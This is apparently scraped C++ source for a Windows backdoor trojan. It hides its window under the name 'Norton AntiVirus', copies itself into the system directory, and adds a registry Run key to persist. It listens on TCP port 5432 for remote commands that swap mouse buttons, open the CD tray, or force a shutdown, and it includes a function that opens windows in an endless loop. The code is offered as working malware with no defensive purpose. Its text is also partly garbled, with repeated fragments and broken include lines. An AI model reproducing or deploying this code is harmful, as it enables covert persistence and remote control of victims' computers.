cout << “Waiting for a client to connect…” << “\n”;
AcceptSocket = SOCKET_ERROR;
while (AcceptSocket == SOCKET_ERROR )
{
AcceptSocket = accept(Socket, NULL, NULL );
}
cout << “Client Connected.”<< “\n”;
Socket = AcceptSocket;
}
void Shutdown()
{
char Message[MAX_PATH]=”Your computer is infected with a malicious virus!”;
InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}
void OpenCloseCDTray()
{
mciSendString(“set cdaudio door open”, 0, 0, 0);
mciSendString(“set cdaudio door open”, 0, 0, 0);
}
include
include
include
using namespace std;
char Windir[MAX_PATH]; char Module[MAX_PATH];
SOCKET Socket;
void Hide() { SetConsoleTitle(“Norton AntiVirus”); hide = FindWindow(NULL, “Norton AntiVirus”); ShowWindow(hide, 0); }
void GetPaths() { GetSystemDirectory(Windir, sizeof(Windir)); GetModuleFileName(0, Module, sizeof(Module)); strcat(Windir, “\WindowsAPICalls.exe”); }
void Install() { CopyFile(Module,Windir,0);
HKEY Install; RegOpenKey(HKEY_LOCAL_MACHINE,”Software\Microsoft\Windows\CurrentVersion\Run”, &Install); RegSetValueEx(Install, “Windows API Calls”, 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir)); RegCloseKey(Install); }
int ServerInitialize() { WSADATA wsaData; int iResult = WSAStartup( MAKEWORD(2,2), &wsaData ); if ( iResult != NO_ERROR ) { WSACleanup(); system(Module); return 0; }
else { cout << “Winsock initialized.” << “\n”; }
Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if (Socket == INVALID_SOCKET ) { WSACleanup(); system(Module); return 0; }
else { cout << “Socket created.” << “\n”; }
sockaddr_in service; service.sin_family = AF_INET; service.sin_addr.s_addr = INADDR_ANY; service.sin_port = htons(5432);
if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR) { closesocket(Socket); system(Module); return 0; }
else { cout << “Socket bound successfully.” << “\n”; } if (listen( Socket, 1 ) == SOCKET_ERROR ) cout << “Error listening on socket.” << “\n”;
SOCKET AcceptSocket;
cout << “Waiting for a client to connect…” << “\n”; AcceptSocket = SOCKET_ERROR; while (AcceptSocket == SOCKET_ERROR ) { AcceptSocket = accept(Socket, NULL, NULL ); } cout << “Client Connected.”<< “\n”; Socket = AcceptSocket; }
void Shutdown() { char Message[MAX_PATH]=”Your computer is infected with a malicious virus!”; InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false); }
void OpenCloseCDTray() { mciSendString(“set cdaudio door open”, 0, 0, 0); mciSendString(“set cdaudio door open”, 0, 0, 0); }
void Bomb() { HWND hwnd; char Notepad[MAX_PATH]=”notepad.exe”; for(;;) { ShellExecute(hwnd,”open”,Notepad,NULL,NULL,SW_MAXIMIZE); } }
void LeftMouse() { SwapMouseButton(true); }
void RightMouse() { SwapMouseButton(false); }
void Receive() { for(;;) { char Choice[MAX_PATH]=”"; cout << “Waiting for commands, sir!” << “\n”; recv(Socket, Choice, sizeof(Choice), 0); cout << Choice << “\n”; if (!strcmp(Choice,”1″)) { LeftMouse(); const char c_LeftMouse[MAX_PATH]={“Mouse changed; left.”}; send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0); } if (!strcmp(Choice,”2″)) { RightMouse(); const char c_RightMouse[MAX_PATH]={“Mouse changed; right.”}; send(Socket,c_RightMouse, sizeof(c_RightMouse),0); } if (!strcmp(Choice,”3″)) { OpenCloseCDTray(); const char c_CDTray[MAX_PATH]={“CD Tray opened. Closed if not on a laptop.”}; send(Socket,c_CDTray, sizeof(c_CDTray),0); } if (!strcmp(Choice,”4″)) { Shutdown(); const char c_Shutdown[MAX_PATH]={“Shutdown initiated.”}; send(Socket,c_Shutdown, sizeof(c_Shutdown),0); } } }
int main() { Hide(); GetPaths(); if(!strcmp(Windir,Module)) { ServerInitialize(); Receive(); } else { Install(); ServerInitialize(); Receive(); } return 0; }